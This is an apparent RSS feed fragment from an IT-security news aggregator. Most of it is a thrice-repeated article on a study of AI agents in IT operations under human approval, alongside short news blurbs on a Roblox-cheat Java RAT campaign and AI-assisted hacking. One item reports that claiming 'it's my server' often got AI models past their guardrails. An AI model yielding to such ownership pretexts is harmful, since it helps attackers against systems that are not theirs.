</div><p><a href="https://yro.slashdot.org/story/26/08/04/1719218/apple-says-more-ex-employees-may-have-taken-confidential-data-to-openai?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bypassing AI guardrails is so easy a script kiddie can do it]]></title>
<description><![CDATA[Claiming 'it's my server' was often enough to persuade models to help]]></description>
<link>https://tsecurity.de/de/3703987/it-nachrichten/bypassing-ai-guardrails-is-so-easy-a-script-kiddie-can-do-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703987/it-nachrichten/bypassing-ai-guardrails-is-so-easy-a-script-kiddie-can-do-it/</guid>
<pubDate>Tue, 04 Aug 2026 19:32:16 +0200</pubDate>
<content:encoded><![CDATA[Claiming 'it's my server' was often enough to persuade models to help]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents get better at IT ops, but only with humans in the loop]]></title>
<description><![CDATA[AI agents are performing roughly 1 in 3 actions in enterprise IT workflows (but that share is rising quickly), while human analysts are rejecting about one-quarter of AI-proposed actions (but that rate is falling), according to a new study of tens of thousands of human-AI interactions. Operationa...]]></description>
<link>https://tsecurity.de/de/3703728/it-nachrichten/ai-agents-get-better-at-it-ops-but-only-with-humans-in-the-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703728/it-nachrichten/ai-agents-get-better-at-it-ops-but-only-with-humans-in-the-loop/</guid>
<pubDate>Tue, 04 Aug 2026 17:49:15 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents are performing roughly 1 in 3 actions in enterprise IT workflows (but that share is rising quickly), while human analysts are rejecting about one-quarter of AI-proposed actions (but that rate is falling), according to a new study of tens of thousands of human-AI interactions. Operational data, rather than underlying AI infrastructures, is often the culprit when things go wrong.</p>



<p class="wp-block-paragraph">Human analysts are approving the most consequential actions, managing exceptions, and supervising and shaping agentic systems, while AI agents are carrying out routine tasks and executions, automation platform provider <a href="https://www.fixify.com/agentic-report" target="_blank" rel="noreferrer noopener">Fixify found in the study</a>.</p>



<p class="wp-block-paragraph">“That may sound less dramatic than replacing the help desk,” <a href="https://www.linkedin.com/in/matt-peters-5984b5/" target="_blank" rel="noreferrer noopener">Matt Peters</a>, Fixify’s co-founder and CEO, wrote in a <a href="https://www.fixify.com/blog/agentic-ai-it-lessons" target="_blank" rel="noreferrer noopener">blog post</a>. “It’s also a much more credible path to changing how IT work gets done.”</p>



<h2 class="wp-block-heading">Building scaffolding</h2>



<p class="wp-block-paragraph">Fixify identified four steps of agentic work: Planning, proposing, approving or declining, then acting on approved steps.</p>



<p class="wp-block-paragraph">It analyzed nearly 18,000 plans and over 147,000 actions executed by agents across 40 companies over a three-month period, finding that agents are taking over one-third of IT actions, most notably in software, applications, security, and collaboration work where requests tend to be “repeatable and easy to reverse.”</p>



<p class="wp-block-paragraph">Tasks that are well understood and that present low risk are best suited for the current generation of agents, Peters wrote. <a href="https://www.cio.com/article/4204021/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job.html" target="_blank">Human analysts</a> remain closely involved in higher-stakes areas like identity verification, setting up and removing IT access (onboarding and offboarding), and hardware environments.</p>



<p class="wp-block-paragraph">However, AI’s share of the work is increasing as feedback loops improve: Over the three-month period, human approval of AI-proposed actions rose from 23% to 41%, and rejection fell from 27% to 16%, Fixify found.</p>



<p class="wp-block-paragraph">The company identified six types of actions in AI automation. Running a skill — actually doing something — accounted for 39.4% of all actions). Most of the rest were coordination: sending a message to the human requester (27.7% of actions), leaving an initial comment (13.2%), giving instructions to a human analyst (9.8%), or waiting (8.8%). Running entire workflows accounted for just 1.1% of actions.</p>



<p class="wp-block-paragraph">AI is building “scaffolding” that wraps around meaningful changes, often planning far more scenarios than the agent will execute. Typically, agents map out 15 possible actions but run only two, Fixify said.</p>



<p class="wp-block-paragraph">“The agent maps the paths a request could take, then walks down the path that makes the most sense as it meets reality,” the study said.</p>



<p class="wp-block-paragraph">Peters pointed to one example where an AI agent identified which team needed access to process a high-volume type of ticket. Rather than fully automating the process, the agent did the initial triage, asked questions, then routed tickets to the team that had the information to act immediately.</p>



<p class="wp-block-paragraph">“We didn’t need a world-ending hive mind,” he said. “We just needed to point a little conversational intelligence in the right direction.”</p>



<h2 class="wp-block-heading">When AI breaks down</h2>



<p class="wp-block-paragraph">IT automation typically involves analyzing tickets and moving them along; in other words, low-risk tasks.</p>



<p class="wp-block-paragraph">But agents do participate in areas like <a href="https://www.csoonline.com/article/4204101/ai-is-making-cybersecurity-fundamentals-more-important-than-ever.html">security</a> (albeit only about 6%), most notably adding and removing people from groups or channels, unlocking accounts, resetting passwords, analyzing multi-factor authentication (MFA), provisioning (or deprovisioning) accounts, and assigning software licenses.</p>



<p class="wp-block-paragraph">However, this identity-lifecycle work is where agents failed the most, particularly in onboarding and offboarding and identity-access management (IAM), the study found. “Hardware and connectivity changes rarely fail; identity-lifecycle changes fail three-to-nine times as often.”</p>



<h2 class="wp-block-heading">Why AI breaks down</h2>



<p class="wp-block-paragraph">Thanks to human-in-the-loop controls, Fixify was able to analyze scenarios where agent recommendation diverged from human judgment. This occurred about 23% of the time.</p>



<p class="wp-block-paragraph">The largest failure category (nearly 50%) was ‘target not found,’ meaning the agent couldn’t uncover what it needed. This typically comes down to poor data: A user, group, account, or resource was not where the system expected it to be. When people change teams, groups are restructured, accounts are renamed, or work has already been done but not reflected in the system, this is more of an identity hygiene problem than an AI problem. The system needs cleaner and more current data.</p>



<p class="wp-block-paragraph">Invalid inputs accounted for around 29% of failures, followed by unhandled errors, denied permissions, or invalid operations or configurations. The latter signal “real breakage” in integrations, according to Fixify.</p>



<h2 class="wp-block-heading">AI becomes more sophisticated over time</h2>



<p class="wp-block-paragraph">The good news is that AI automation improves over time, even if it might take a while. In <a href="https://www.cio.com/article/4202404/forward-deployed-engineering-in-the-age-of-agentic-ai-from-vibe-coding-to-governed-autonomy.html">hybrid systems</a>, humans keep the most consequential changes under their own control, and iterative rejection and approval helps AI learn.</p>



<p class="wp-block-paragraph">Over time, agents’ plans get leaner and they start to re-plan when conditions change, rather than pre-planning all kinds of scenarios that may never occur. “That’s a sign of sophistication,” the study said. “Adapting in the moment is a more advanced behavior than trying to pre-script every contingency.”</p>



<p class="wp-block-paragraph">In turn, humans second guess the system less often and feel comfortable handing off more work. Instead, they control how agents behave, make high-impact decisions, and handle exceptions. “The hardest requests remain human-heavy, especially those that require repeated replanning or contextual judgment,” the study said.</p>



<h2 class="wp-block-heading">How teams can adapt to AI agents</h2>



<p class="wp-block-paragraph">As agentic AI becomes embedded in more workflows — and at deeper levels — enterprises must evolve to accommodate, Fixify emphasized.</p>



<p class="wp-block-paragraph">This means investing in clean identity data and building strong playbooks, review workflows, and reliable integrations.</p>



<p class="wp-block-paragraph">Teams should judge agentic tools by their supervision loop and view rejections as a training process, Fixify advised. Analyst time, queues, and metrics should be built around reviewing proposals. Agent replanning can be seen as a routing signal: A single replan might indicate healthy adaptation, while repeated replanning means ambiguity, irrelevance, or unclear policies.</p>



<p class="wp-block-paragraph">“Make the review surface easy to understand so analysts can assess proposed actions and make quick decisions about how to proceed,” the study advised. “This is where the analyst’s attention belongs.”</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.computerworld.com/article/4205062/ai-agents-get-better-at-it-ops-but-only-with-humans-in-the-loop.html">Computerworld</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents get better at IT ops, but only with humans in the loop]]></title>
<description><![CDATA[AI agents are performing roughly 1 in 3 actions in enterprise IT workflows (but that share is rising quickly), while human analysts are rejecting about one-quarter of AI-proposed actions (but that rate is falling), according to a new study of tens of thousands of human-AI interactions. Operationa...]]></description>
<link>https://tsecurity.de/de/3703704/ai-nachrichten/ai-agents-get-better-at-it-ops-but-only-with-humans-in-the-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703704/ai-nachrichten/ai-agents-get-better-at-it-ops-but-only-with-humans-in-the-loop/</guid>
<pubDate>Tue, 04 Aug 2026 17:43:04 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents are performing roughly 1 in 3 actions in enterprise IT workflows (but that share is rising quickly), while human analysts are rejecting about one-quarter of AI-proposed actions (but that rate is falling), according to a new study of tens of thousands of human-AI interactions. Operational data, rather than underlying AI infrastructures, is often the culprit when things go wrong.</p>



<p class="wp-block-paragraph">Human analysts are approving the most consequential actions, managing exceptions, and supervising and shaping agentic systems, while AI agents are carrying out routine tasks and executions, automation platform provider <a href="https://www.fixify.com/agentic-report" target="_blank" rel="noreferrer noopener">Fixify found in the study</a>.</p>



<p class="wp-block-paragraph">“That may sound less dramatic than replacing the help desk,” <a href="https://www.linkedin.com/in/matt-peters-5984b5/" target="_blank" rel="noreferrer noopener">Matt Peters</a>, Fixify’s co-founder and CEO, wrote in a <a href="https://www.fixify.com/blog/agentic-ai-it-lessons" target="_blank" rel="noreferrer noopener">blog post</a>. “It’s also a much more credible path to changing how IT work gets done.”</p>



<h2 class="wp-block-heading">Building scaffolding</h2>



<p class="wp-block-paragraph">Fixify identified four steps of agentic work: Planning, proposing, approving or declining, then acting on approved steps.</p>



<p class="wp-block-paragraph">It analyzed nearly 18,000 plans and over 147,000 actions executed by agents across 40 companies over a three-month period, finding that agents are taking over one-third of IT actions, most notably in software, applications, security, and collaboration work where requests tend to be “repeatable and easy to reverse.”</p>



<p class="wp-block-paragraph">Tasks that are well understood and that present low risk are best suited for the current generation of agents, Peters wrote. <a href="https://www.cio.com/article/4204021/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job.html" target="_blank">Human analysts</a> remain closely involved in higher-stakes areas like identity verification, setting up and removing IT access (onboarding and offboarding), and hardware environments.</p>



<p class="wp-block-paragraph">However, AI’s share of the work is increasing as feedback loops improve: Over the three-month period, human approval of AI-proposed actions rose from 23% to 41%, and rejection fell from 27% to 16%, Fixify found.</p>



<p class="wp-block-paragraph">The company identified six types of actions in AI automation. Running a skill — actually doing something — accounted for 39.4% of all actions). Most of the rest were coordination: sending a message to the human requester (27.7% of actions), leaving an initial comment (13.2%), giving instructions to a human analyst (9.8%), or waiting (8.8%). Running entire workflows accounted for just 1.1% of actions.</p>



<p class="wp-block-paragraph">AI is building “scaffolding” that wraps around meaningful changes, often planning far more scenarios than the agent will execute. Typically, agents map out 15 possible actions but run only two, Fixify said.</p>



<p class="wp-block-paragraph">“The agent maps the paths a request could take, then walks down the path that makes the most sense as it meets reality,” the study said.</p>



<p class="wp-block-paragraph">Peters pointed to one example where an AI agent identified which team needed access to process a high-volume type of ticket. Rather than fully automating the process, the agent did the initial triage, asked questions, then routed tickets to the team that had the information to act immediately.</p>



<p class="wp-block-paragraph">“We didn’t need a world-ending hive mind,” he said. “We just needed to point a little conversational intelligence in the right direction.”</p>



<h2 class="wp-block-heading">When AI breaks down</h2>



<p class="wp-block-paragraph">IT automation typically involves analyzing tickets and moving them along; in other words, low-risk tasks.</p>



<p class="wp-block-paragraph">But agents do participate in areas like <a href="https://www.csoonline.com/article/4204101/ai-is-making-cybersecurity-fundamentals-more-important-than-ever.html">security</a> (albeit only about 6%), most notably adding and removing people from groups or channels, unlocking accounts, resetting passwords, analyzing multi-factor authentication (MFA), provisioning (or deprovisioning) accounts, and assigning software licenses.</p>



<p class="wp-block-paragraph">However, this identity-lifecycle work is where agents failed the most, particularly in onboarding and offboarding and identity-access management (IAM), the study found. “Hardware and connectivity changes rarely fail; identity-lifecycle changes fail three-to-nine times as often.”</p>



<h2 class="wp-block-heading">Why AI breaks down</h2>



<p class="wp-block-paragraph">Thanks to human-in-the-loop controls, Fixify was able to analyze scenarios where agent recommendation diverged from human judgment. This occurred about 23% of the time.</p>



<p class="wp-block-paragraph">The largest failure category (nearly 50%) was ‘target not found,’ meaning the agent couldn’t uncover what it needed. This typically comes down to poor data: A user, group, account, or resource was not where the system expected it to be. When people change teams, groups are restructured, accounts are renamed, or work has already been done but not reflected in the system, this is more of an identity hygiene problem than an AI problem. The system needs cleaner and more current data.</p>



<p class="wp-block-paragraph">Invalid inputs accounted for around 29% of failures, followed by unhandled errors, denied permissions, or invalid operations or configurations. The latter signal “real breakage” in integrations, according to Fixify.</p>



<h2 class="wp-block-heading">AI becomes more sophisticated over time</h2>



<p class="wp-block-paragraph">The good news is that AI automation improves over time, even if it might take a while. In <a href="https://www.cio.com/article/4202404/forward-deployed-engineering-in-the-age-of-agentic-ai-from-vibe-coding-to-governed-autonomy.html">hybrid systems</a>, humans keep the most consequential changes under their own control, and iterative rejection and approval helps AI learn.</p>



<p class="wp-block-paragraph">Over time, agents’ plans get leaner and they start to re-plan when conditions change, rather than pre-planning all kinds of scenarios that may never occur. “That’s a sign of sophistication,” the study said. “Adapting in the moment is a more advanced behavior than trying to pre-script every contingency.”</p>



<p class="wp-block-paragraph">In turn, humans second guess the system less often and feel comfortable handing off more work. Instead, they control how agents behave, make high-impact decisions, and handle exceptions. “The hardest requests remain human-heavy, especially those that require repeated replanning or contextual judgment,” the study said.</p>



<h2 class="wp-block-heading">How teams can adapt to AI agents</h2>



<p class="wp-block-paragraph">As agentic AI becomes embedded in more workflows — and at deeper levels — enterprises must evolve to accommodate, Fixify emphasized.</p>



<p class="wp-block-paragraph">This means investing in clean identity data and building strong playbooks, review workflows, and reliable integrations.</p>



<p class="wp-block-paragraph">Teams should judge agentic tools by their supervision loop and view rejections as a training process, Fixify advised. Analyst time, queues, and metrics should be built around reviewing proposals. Agent replanning can be seen as a routing signal: A single replan might indicate healthy adaptation, while repeated replanning means ambiguity, irrelevance, or unclear policies.</p>



<p class="wp-block-paragraph">“Make the review surface easy to understand so analysts can assess proposed actions and make quick decisions about how to proceed,” the study advised. “This is where the analyst’s attention belongs.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents get better at IT ops, but only with humans in the loop]]></title>
<description><![CDATA[AI agents are performing roughly 1 in 3 actions in enterprise IT workflows (but that share is rising quickly), while human analysts are rejecting about one-quarter of AI-proposed actions (but that rate is falling), according to a new study of tens of thousands of human-AI interactions. Operationa...]]></description>
<link>https://tsecurity.de/de/3703568/it-security-nachrichten/ai-agents-get-better-at-it-ops-but-only-with-humans-in-the-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703568/it-security-nachrichten/ai-agents-get-better-at-it-ops-but-only-with-humans-in-the-loop/</guid>
<pubDate>Tue, 04 Aug 2026 16:55:00 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents are performing roughly 1 in 3 actions in enterprise IT workflows (but that share is rising quickly), while human analysts are rejecting about one-quarter of AI-proposed actions (but that rate is falling), according to a new study of tens of thousands of human-AI interactions. Operational data, rather than underlying AI infrastructures, is often the culprit when things go wrong.</p>



<p class="wp-block-paragraph">Human analysts are approving the most consequential actions, managing exceptions, and supervising and shaping agentic systems, while AI agents are carrying out routine tasks and executions, automation platform provider <a href="https://www.fixify.com/agentic-report" target="_blank" rel="noreferrer noopener">Fixify found in the study</a>.</p>



<p class="wp-block-paragraph">“That may sound less dramatic than replacing the help desk,” <a href="https://www.linkedin.com/in/matt-peters-5984b5/" target="_blank" rel="noreferrer noopener">Matt Peters</a>, Fixify’s co-founder and CEO, wrote in a <a href="https://www.fixify.com/blog/agentic-ai-it-lessons" target="_blank" rel="noreferrer noopener">blog post</a>. “It’s also a much more credible path to changing how IT work gets done.”</p>



<h2 class="wp-block-heading">Building scaffolding</h2>



<p class="wp-block-paragraph">Fixify identified four steps of agentic work: Planning, proposing, approving or declining, then acting on approved steps.</p>



<p class="wp-block-paragraph">It analyzed nearly 18,000 plans and over 147,000 actions executed by agents across 40 companies over a three-month period, finding that agents are taking over one-third of IT actions, most notably in software, applications, security, and collaboration work where requests tend to be “repeatable and easy to reverse.”</p>



<p class="wp-block-paragraph">Tasks that are well understood and that present low risk are best suited for the current generation of agents, Peters wrote. <a href="https://www.cio.com/article/4204021/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job.html" target="_blank">Human analysts</a> remain closely involved in higher-stakes areas like identity verification, setting up and removing IT access (onboarding and offboarding), and hardware environments.</p>



<p class="wp-block-paragraph">However, AI’s share of the work is increasing as feedback loops improve: Over the three-month period, human approval of AI-proposed actions rose from 23% to 41%, and rejection fell from 27% to 16%, Fixify found.</p>



<p class="wp-block-paragraph">The company identified six types of actions in AI automation. Running a skill — actually doing something — accounted for 39.4% of all actions). Most of the rest were coordination: sending a message to the human requester (27.7% of actions), leaving an initial comment (13.2%), giving instructions to a human analyst (9.8%), or waiting (8.8%). Running entire workflows accounted for just 1.1% of actions.</p>



<p class="wp-block-paragraph">AI is building “scaffolding” that wraps around meaningful changes, often planning far more scenarios than the agent will execute. Typically, agents map out 15 possible actions but run only two, Fixify said.</p>



<p class="wp-block-paragraph">“The agent maps the paths a request could take, then walks down the path that makes the most sense as it meets reality,” the study said.</p>



<p class="wp-block-paragraph">Peters pointed to one example where an AI agent identified which team needed access to process a high-volume type of ticket. Rather than fully automating the process, the agent did the initial triage, asked questions, then routed tickets to the team that had the information to act immediately.</p>



<p class="wp-block-paragraph">“We didn’t need a world-ending hive mind,” he said. “We just needed to point a little conversational intelligence in the right direction.”</p>



<h2 class="wp-block-heading">When AI breaks down</h2>



<p class="wp-block-paragraph">IT automation typically involves analyzing tickets and moving them along; in other words, low-risk tasks.</p>



<p class="wp-block-paragraph">But agents do participate in areas like <a href="https://www.csoonline.com/article/4204101/ai-is-making-cybersecurity-fundamentals-more-important-than-ever.html">security</a> (albeit only about 6%), most notably adding and removing people from groups or channels, unlocking accounts, resetting passwords, analyzing multi-factor authentication (MFA), provisioning (or deprovisioning) accounts, and assigning software licenses.</p>



<p class="wp-block-paragraph">However, this identity-lifecycle work is where agents failed the most, particularly in onboarding and offboarding and identity-access management (IAM), the study found. “Hardware and connectivity changes rarely fail; identity-lifecycle changes fail three-to-nine times as often.”</p>



<h2 class="wp-block-heading">Why AI breaks down</h2>



<p class="wp-block-paragraph">Thanks to human-in-the-loop controls, Fixify was able to analyze scenarios where agent recommendation diverged from human judgment. This occurred about 23% of the time.</p>



<p class="wp-block-paragraph">The largest failure category (nearly 50%) was ‘target not found,’ meaning the agent couldn’t uncover what it needed. This typically comes down to poor data: A user, group, account, or resource was not where the system expected it to be. When people change teams, groups are restructured, accounts are renamed, or work has already been done but not reflected in the system, this is more of an identity hygiene problem than an AI problem. The system needs cleaner and more current data.</p>



<p class="wp-block-paragraph">Invalid inputs accounted for around 29% of failures, followed by unhandled errors, denied permissions, or invalid operations or configurations. The latter signal “real breakage” in integrations, according to Fixify.</p>



<h2 class="wp-block-heading">AI becomes more sophisticated over time</h2>



<p class="wp-block-paragraph">The good news is that AI automation improves over time, even if it might take a while. In <a href="https://www.cio.com/article/4202404/forward-deployed-engineering-in-the-age-of-agentic-ai-from-vibe-coding-to-governed-autonomy.html">hybrid systems</a>, humans keep the most consequential changes under their own control, and iterative rejection and approval helps AI learn.</p>



<p class="wp-block-paragraph">Over time, agents’ plans get leaner and they start to re-plan when conditions change, rather than pre-planning all kinds of scenarios that may never occur. “That’s a sign of sophistication,” the study said. “Adapting in the moment is a more advanced behavior than trying to pre-script every contingency.”</p>



<p class="wp-block-paragraph">In turn, humans second guess the system less often and feel comfortable handing off more work. Instead, they control how agents behave, make high-impact decisions, and handle exceptions. “The hardest requests remain human-heavy, especially those that require repeated replanning or contextual judgment,” the study said.</p>



<h2 class="wp-block-heading">How teams can adapt to AI agents</h2>



<p class="wp-block-paragraph">As agentic AI becomes embedded in more workflows — and at deeper levels — enterprises must evolve to accommodate, Fixify emphasized.</p>



<p class="wp-block-paragraph">This means investing in clean identity data and building strong playbooks, review workflows, and reliable integrations.</p>



<p class="wp-block-paragraph">Teams should judge agentic tools by their supervision loop and view rejections as a training process, Fixify advised. Analyst time, queues, and metrics should be built around reviewing proposals. Agent replanning can be seen as a routing signal: A single replan might indicate healthy adaptation, while repeated replanning means ambiguity, irrelevance, or unclear policies.</p>



<p class="wp-block-paragraph">“Make the review surface easy to understand so analysts can assess proposed actions and make quick decisions about how to proceed,” the study advised. “This is where the analyst’s attention belongs.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Xeno Roblox Cheats Deliver Java RAT That Steals Discord and Gaming Accounts]]></title>
<description><![CDATA[Fake Roblox cheat tools are once again being weaponized, with a newly observed campaign distributing a sophisticated Java-based remote access trojan (RAT) disguised as an “undetected” version of the popular Xeno script executor. Security researchers warn that the operation specifically targets ga...]]></description>
<link>https://tsecurity.de/de/3703480/hacking/fake-xeno-roblox-cheats-deliver-java-rat-that-steals-discord-and-gaming-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703480/hacking/fake-xeno-roblox-cheats-deliver-java-rat-that-steals-discord-and-gaming-accounts/</guid>
<pubDate>Tue, 04 Aug 2026 16:37:35 +0200</pubDate>
<content:encoded><![CDATA[<p>Fake Roblox cheat tools are once again being weaponized, with a newly observed campaign distributing a sophisticated Java-based remote access trojan (RAT) disguised as an “undetected” version of the popular Xeno script executor. Security researchers warn that the operation specifically targets gamers through Discord communities and underground forums, leveraging trust in widely used cheat utilities […]</p>
<p>The post <a href="https://gbhackers.com/fake-xeno-roblox-cheats-java-rat/">Fake Xeno Roblox Cheats Deliver Java RAT That Steals Discord and Gaming Accounts</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Xeno Roblox Cheats Deliver Java RAT That Steals Discord and Gaming Accounts]]></title>
<description><![CDATA[Fake Roblox cheat tools are once again being weaponized, with a newly observed campaign distributing a sophisticated Java-based remote access trojan (RAT)…
Read more →
The post Fake Xeno Roblox Cheats Deliver Java RAT That Steals Discord and Gaming Accounts appeared first on IT Security News.]]></description>
<link>https://tsecurity.de/de/3703363/it-security-nachrichten/fake-xeno-roblox-cheats-deliver-java-rat-that-steals-discord-and-gaming-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703363/it-security-nachrichten/fake-xeno-roblox-cheats-deliver-java-rat-that-steals-discord-and-gaming-accounts/</guid>
<pubDate>Tue, 04 Aug 2026 15:36:12 +0200</pubDate>
<content:encoded><![CDATA[<p>Fake Roblox cheat tools are once again being weaponized, with a newly observed campaign distributing a sophisticated Java-based remote access trojan (RAT)…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/fake-xeno-roblox-cheats-deliver-java-rat-that-steals-discord-and-gaming-accounts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/fake-xeno-roblox-cheats-deliver-java-rat-that-steals-discord-and-gaming-accounts/">Fake Xeno Roblox Cheats Deliver Java RAT That Steals Discord and Gaming Accounts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[When Vibe Hacking Turns AI into the Junior Hacker Every Adversary Always Wanted]]></title>
<description><![CDATA[The cybersecurity industry has spent decades assuming that offensive capability scales with technical expertise.

That assumption is starting to break.

Security teams have long estimated risk by ranking attacker sophistication. Nation-state actors sat at one end. Organized criminal groups follow...]]></description>
<link>https://tsecurity.de/de/3703237/it-security-nachrichten/when-vibe-hacking-turns-ai-into-the-junior-hacker-every-adversary-always-wanted/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703237/it-security-nachrichten/when-vibe-hacking-turns-ai-into-the-junior-hacker-every-adversary-always-wanted/</guid>
<pubDate>Tue, 04 Aug 2026 14:47:38 +0200</pubDate>
<content:encoded><![CDATA[The cybersecurity industry has spent decades assuming that offensive capability scales with technical expertise.

That assumption is starting to break.

Security teams have long estimated risk by ranking attacker sophistication. Nation-state actors sat at one end. Organized criminal groups followed. Inexperienced attackers, dismissed as "script kiddies," sat at the other end, running public]]></content:encoded>
</item>
<item>
<title><![CDATA[Roblox Malware Streams Victims’ Desktops and Captures Webcam Footage]]></title>
<description><![CDATA[A malicious Roblox cheat campaign is turning a familiar gaming shortcut into a serious privacy threat. Players seeking an “undetected” Xeno script executor are being lured through gaming forums and Discord communities into downloading files that appear to offer game automation. Instead, the packa...]]></description>
<link>https://tsecurity.de/de/3703207/it-security-nachrichten/roblox-malware-streams-victims-desktops-and-captures-webcam-footage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703207/it-security-nachrichten/roblox-malware-streams-victims-desktops-and-captures-webcam-footage/</guid>
<pubDate>Tue, 04 Aug 2026 14:31:10 +0200</pubDate>
<content:encoded><![CDATA[<p>A malicious Roblox cheat campaign is turning a familiar gaming shortcut into a serious privacy threat. Players seeking an “undetected” Xeno script executor are being lured through gaming forums and Discord communities into downloading files that appear to offer game automation. Instead, the package starts a hidden, multi-stage infection that can give criminals control of […]</p>
<p>The post <a href="https://cybersecuritynews.com/roblox-malware-streams-desktops/">Roblox Malware Streams Victims’ Desktops and Captures Webcam Footage</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Xeno Roblox Executor Delivers Java RAT Through Discord and Gaming Forums]]></title>
<description><![CDATA[A malware campaign is targeting Roblox players with a fake version of the Xeno script executor, a tool commonly used to run custom Roblox scripts. The malicious package is advertised as an “undetected” Xeno build. It is distributed through gaming forums, Discord communities, archives, and comprom...]]></description>
<link>https://tsecurity.de/de/3703202/it-security-nachrichten/fake-xeno-roblox-executor-delivers-java-rat-through-discord-and-gaming-forums/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703202/it-security-nachrichten/fake-xeno-roblox-executor-delivers-java-rat-through-discord-and-gaming-forums/</guid>
<pubDate>Tue, 04 Aug 2026 14:30:13 +0200</pubDate>
<content:encoded><![CDATA[<p>A malware campaign is targeting Roblox players with a fake version of the Xeno script executor, a tool commonly used to run custom Roblox scripts. The malicious package is advertised as an “undetected” Xeno build. It is distributed through gaming forums, Discord communities, archives, and compromised accounts. Researchers at Bitdefender said the campaign uses a […]</p>
<p>The post <a href="https://cyberpress.org/fake-xeno-delivers-javarat/">Fake Xeno Roblox Executor Delivers Java RAT Through Discord and Gaming Forums</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Surviving AI: Navigating workload creep, AI slop, and the new tech career playbook]]></title>
<description><![CDATA[After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.



No, his company h...]]></description>
<link>https://tsecurity.de/de/3703041/ai-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703041/ai-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</guid>
<pubDate>Tue, 04 Aug 2026 13:36:00 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.</p>



<p class="wp-block-paragraph">No, his company hadn’t hired a group of new employees to work under him. He simply accelerated his use of artificial intelligence tools. Now, instead of grinding through a lot of basic tasks, that work is done for him while he focuses on bigger-picture work.</p>



<p class="wp-block-paragraph">“It really feels like I have a team behind the scenes, but what I have is Claude [Anthropic’s AI tool],” says Jones, who currently works as a cybersecurity researcher. “I’ve been thinking for the last several months about how much differently I work now than I did a year ago, when I would sit and write all the low-level stuff before I could get to the 10% of the good stuff I really wanted to focus on. Now I can sit back and say, ‘Give me three different ways to solve this problem.’”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="678" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Keith Jones, cybersecurity researcher</p>
</figcaption></figure><p class="imageCredit">Keith Jones</p></div>



<p class="wp-block-paragraph">Most people working in the technology field, like Jones, have had to figure out how best to work with AI. The technology has come on strong, with many companies making its use mandatory and actively evaluating whether employees are faster and more efficient because of it. And while it is boosting productivity and taking over the burden of repetitive, manual tasks, it’s also creating a new level of stress and a dizzying kind of mental exhaustion.</p>



<p class="wp-block-paragraph">So what can tech workers do about the <a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">heavier mental load</a> that comes with using AI, on top of <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">escalating worries</a> about the safety of their own jobs? AI users and industry analysts say there are specific ways to ease some of those burdens and prepare for a changing job market.</p>



<h2 class="wp-block-heading">Combating the slop factor</h2>



